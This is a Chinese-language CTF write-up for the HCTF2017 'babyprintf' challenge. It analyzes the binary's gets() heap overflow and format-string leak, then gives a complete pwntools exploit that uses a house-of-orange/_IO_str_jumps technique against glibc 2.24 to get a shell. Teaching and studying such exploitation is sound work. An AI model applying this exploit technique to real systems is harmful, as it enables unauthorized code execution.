6.1.25 pwn HCTF2017 babyprintf

下载文件

题目复现

  1. $ file babyprintf
  2. babyprintf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5652f65b98094d8ab456eb0a54d37d9b09b4f3f6, stripped
  3. $ checksec -f babyprintf
  4. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  5. Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 2 babyprintf
  6. $ strings libc-2.24.so | grep "GNU C"
  7. GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al.
  8. Compiled by GNU CC version 6.3.0 20170406.

64 位程序,开启了 canary 和 NX,默认开启 ASLR。

在 Ubuntu16.10 上玩一下:

  1. ./babyprintf
  2. size: 0
  3. string: AAAA
  4. result: AAAAsize: 10
  5. string: %p.%p.%p.%p
  6. result: 0x7ffff7dd4720.(nil).0x7ffff7fb7500.0x7ffff7dd4720size: -1
  7. too long

真是个神奇的 “printf” 实现。首先 size 的值对 string 的输入似乎并没有什么影响;然后似乎是直接打印 string,而没有考虑格式化字符串的问题;最后程序应该是对 size 做了大小上的检查,而且是无符号数。

题目解析

main

  1. [0x00400850]> pdf @ main
  2. ;-- section..text:
  3. / (fcn) main 130
  4. | main ();
  5. | ; DATA XREF from 0x0040086d (entry0)
  6. | 0x004007c0 push rbx ; [14] -r-x section size 706 named .text
  7. | 0x004007c1 xor eax, eax
  8. | 0x004007c3 call sub.setbuf_950 ; void setbuf(FILE *stream,
  9. | ,=< 0x004007c8 jmp 0x400815
  10. | 0x004007ca nop word [rax + rax]
  11. | | ; CODE XREF from 0x00400832 (main)
  12. | .--> 0x004007d0 mov edi, eax
  13. | :| 0x004007d2 call sym.imp.malloc ; rax = malloc(size) 分配堆空间
  14. | :| 0x004007d7 mov esi, str.string: ; 0x400aa4 ; "string: "
  15. | :| 0x004007dc mov rbx, rax
  16. | :| 0x004007df mov edi, 1
  17. | :| 0x004007e4 xor eax, eax
  18. | :| 0x004007e6 call sym.imp.__printf_chk
  19. | :| 0x004007eb mov rdi, rbx ; rdi = rbx == rax
  20. | :| 0x004007ee xor eax, eax
  21. | :| 0x004007f0 call sym.imp.gets ; 调用 gets 读入字符串
  22. | :| 0x004007f5 mov esi, str.result: ; 0x400aad ; "result: "
  23. | :| 0x004007fa mov edi, 1
  24. | :| 0x004007ff xor eax, eax
  25. | :| 0x00400801 call sym.imp.__printf_chk
  26. | :| 0x00400806 mov rsi, rbx ; rsi = rbx == rax
  27. | :| 0x00400809 mov edi, 1
  28. | :| 0x0040080e xor eax, eax
  29. | :| 0x00400810 call sym.imp.__printf_chk ; 调用 __printf_chk 打印字符串
  30. | :| ; CODE XREF from 0x004007c8 (main)
  31. | :`-> 0x00400815 mov esi, str.size: ; 0x400a94 ; "size: "
  32. | : 0x0040081a mov edi, 1
  33. | : 0x0040081f xor eax, eax
  34. | : 0x00400821 call sym.imp.__printf_chk
  35. | : 0x00400826 xor eax, eax
  36. | : 0x00400828 call sub._IO_getc_990 ; 读入 size
  37. | : 0x0040082d cmp eax, 0x1000
  38. | `==< 0x00400832 jbe 0x4007d0 ; size 小于等于 0x1000 时跳转
  39. | 0x00400834 mov edi, str.too_long ; 0x400a9b ; "too long"
  40. | 0x00400839 call sym.imp.puts ; int puts(const char *s)
  41. | 0x0040083e mov edi, 1
  42. \ 0x00400843 call sym.imp.exit ; void exit(int status)

整个程序非常简单,首先分配 size 大小的空间,然后在这里读入字符串,由于使用 gets() 函数,可能会导致堆溢出。然后直接调用 __printf_chk() 打印这个字符串,可能会导致栈信息泄露。

这里需要注意的是 __printf_chk() 函数,由于程序开启了 FORTIFY 机制,所以程序在编译时所有的 printf() 都被 __printf_chk() 替换掉了。区别有两点:

  • 不能使用 %x$n 不连续地打印,也就是说如果要使用 %3$n,则必须同时使用 %1$n%2$n
  • 在使用 %n 的时候会做一些检查。

漏洞利用

所以这题应该不止是利用格式化字符串,其实是 house-of-orange 的升级版。由于 libc-2.24 中加入了对 vtable 指针的检查,原先的 house-of-arange 已经不可用了。然后新的利用技术又出现了,即一个叫做 _IO_str_jumps 的 vtable 里的 _IO_str_overflow 虚表函数(参考章节 4.13)。

overwrite top chunk

  1. def overwrite_top():
  2. payload = "A" * 16
  3. payload += p64(0) + p64(0xfe1) # top chunk header
  4. prf(0x10, payload)

为了能将 top chunk 释放到 unrosted bin 中,首先覆写 top chunk 的 size 字段:

  1. gdb-peda$ x/8gx 0x602010-0x10
  2. 0x602000: 0x0000000000000000 0x0000000000000021
  3. 0x602010: 0x4141414141414141 0x4141414141414141
  4. 0x602020: 0x0000000000000000 0x0000000000000fe1 <-- top chunk
  5. 0x602030: 0x0000000000000000 0x0000000000000000

leak libc

  1. def leak_libc():
  2. global libc_base
  3. prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
  4. libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
  5. libc_base = libc_start_main - libc.symbols['__libc_start_main']
  6. log.info("libc_base address: 0x%x" % libc_base)

然后利用格式化字符串来泄露 libc 的地址,此时的 top chunk 也已经放到 unsorted bin 中了:

  1. gdb-peda$ x/10gx 0x602010-0x10
  2. 0x602000: 0x0000000000000000 0x0000000000000021
  3. 0x602010: 0x4141414141414141 0x4141414141414141
  4. 0x602020: 0x0000000000000000 0x0000000000000fc1 <-- old top chunk
  5. 0x602030: 0x00007ffff7dd1b58 0x00007ffff7dd1b58
  6. 0x602040: 0x0000000000000000 0x0000000000000000
  7. gdb-peda$ x/6gx 0x623010-0x10
  8. 0x623000: 0x0000000000000000 0x0000000000001011
  9. 0x623010: 0x7025702570257025 0x0000004170257025 <-- format string
  10. 0x623020: 0x0000000000000000 0x0000000000000000
  11. gdb-peda$ x/4gx 0x623000+0x1010
  12. 0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk
  13. 0x624020: 0x0000000000000000 0x0000000000000000

house of orange

  1. def house_of_orange():
  2. io_list_all = libc_base + libc.symbols['_IO_list_all']
  3. system_addr = libc_base + libc.symbols['system']
  4. bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
  5. vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
  6. log.info("_IO_list_all address: 0x%x" % io_list_all)
  7. log.info("system address: 0x%x" % system_addr)
  8. log.info("/bin/sh address: 0x%x" % bin_sh_addr)
  9. log.info("vtable address: 0x%x" % vtable_addr)
  10. stream = p64(0) + p64(0x61) # fake header # fp
  11. stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
  12. stream += p64(0) # fp->_IO_write_base
  13. stream += p64(0xffffffff) # fp->_IO_write_ptr
  14. stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
  15. stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
  16. stream = stream.ljust(0xc0, '\x00')
  17. stream += p64(0) # fp->_mode
  18. payload = "A" * 0x10
  19. payload += stream
  20. payload += p64(0) * 2
  21. payload += p64(vtable_addr) # _IO_FILE_plus->vtable
  22. payload += p64(system_addr)
  23. prf(0x10, payload)

改进版的 house-of-orange,详细你已经看了参考章节,这里就不再重复了,内存布局如下:

  1. gdb-peda$ x/40gx 0x602010-0x10
  2. 0x602000: 0x0000000000000000 0x0000000000000021
  3. 0x602010: 0x4141414141414141 0x4141414141414141
  4. 0x602020: 0x0000000000000000 0x0000000000000021
  5. 0x602030: 0x4141414141414141 0x4141414141414141
  6. 0x602040: 0x0000000000000000 0x0000000000000061 <-- _IO_FILE_plus
  7. 0x602050: 0x0000000000000000 0x00007ffff7dd24f0
  8. 0x602060: 0x0000000000000000 0x7fffffffffffffff
  9. 0x602070: 0x0000000000000000 0x0000000000000000
  10. 0x602080: 0x00003ffffbdcd5ee 0x0000000000000000
  11. 0x602090: 0x0000000000000000 0x0000000000000000
  12. 0x6020a0: 0x0000000000000000 0x0000000000000000
  13. 0x6020b0: 0x0000000000000000 0x0000000000000000
  14. 0x6020c0: 0x0000000000000000 0x0000000000000000
  15. 0x6020d0: 0x0000000000000000 0x0000000000000000
  16. 0x6020e0: 0x0000000000000000 0x0000000000000000
  17. 0x6020f0: 0x0000000000000000 0x0000000000000000
  18. 0x602100: 0x0000000000000000 0x0000000000000000
  19. 0x602110: 0x0000000000000000 0x00007ffff7dce4c0 <-- vtable
  20. 0x602120: 0x00007ffff7a556a0 0x0000000000000000 <-- system
  21. 0x602130: 0x0000000000000000 0x0000000000000000
  22. gdb-peda$ x/gx 0x00007ffff7dce4c0 + 0x18
  23. 0x7ffff7dce4d8: 0x00007ffff7a8f2b0 <-- __overflow

pwn

  1. def pwn():
  2. io.sendline("0") # abort routine
  3. io.interactive()

最后触发异常处理,malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow,获得 shell。

开启 ASLR,Bingo!!!

  1. $ python exp.py
  2. [+] Starting local process './babyprintf': pid 8307
  3. [*] libc_base address: 0x7f40dc2ca000
  4. [*] _IO_list_all address: 0x7f40dc68c500
  5. [*] system address: 0x7f40dc30f6a0
  6. [*] /bin/sh address: 0x7f40dc454c40
  7. [*] vtable address: 0x7f40dc6884c0
  8. [*] Switching to interactive mode
  9. result: AAAAAAAAAAAAAAAAsize: *** Error in `./babyprintf': malloc(): memory corruption: 0x00007f40dc68c500 ***
  10. ======= Backtrace: =========
  11. ...
  12. $ whoami
  13. firmy

exploit

完整 exp 如下:

  1. #!/usr/bin/env python
  2. from pwn import *
  3. #context.log_level = 'debug'
  4. io = process(['./babyprintf'], env={'LD_PRELOAD':'./libc-2.24.so'})
  5. libc = ELF('libc-2.24.so')
  6. def prf(size, string):
  7. io.sendlineafter("size: ", str(size))
  8. io.sendlineafter("string: ", string)
  9. def overwrite_top():
  10. payload = "A" * 16
  11. payload += p64(0) + p64(0xfe1) # top chunk header
  12. prf(0x10, payload)
  13. def leak_libc():
  14. global libc_base
  15. prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
  16. libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
  17. libc_base = libc_start_main - libc.symbols['__libc_start_main']
  18. log.info("libc_base address: 0x%x" % libc_base)
  19. def house_of_orange():
  20. io_list_all = libc_base + libc.symbols['_IO_list_all']
  21. system_addr = libc_base + libc.symbols['system']
  22. bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
  23. vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
  24. log.info("_IO_list_all address: 0x%x" % io_list_all)
  25. log.info("system address: 0x%x" % system_addr)
  26. log.info("/bin/sh address: 0x%x" % bin_sh_addr)
  27. log.info("vtable address: 0x%x" % vtable_addr)
  28. stream = p64(0) + p64(0x61) # fake header # fp
  29. stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
  30. stream += p64(0) # fp->_IO_write_base
  31. stream += p64(0xffffffff) # fp->_IO_write_ptr
  32. stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
  33. stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
  34. stream = stream.ljust(0xc0, '\x00')
  35. stream += p64(0) # fp->_mode
  36. payload = "A" * 0x10
  37. payload += stream
  38. payload += p64(0) * 2
  39. payload += p64(vtable_addr) # _IO_FILE_plus->vtable
  40. payload += p64(system_addr)
  41. prf(0x10, payload)
  42. def pwn():
  43. io.sendline("0") # abort routine
  44. io.interactive()
  45. if __name__ == '__main__':
  46. overwrite_top()
  47. leak_libc()
  48. house_of_orange()
  49. pwn()

参考资料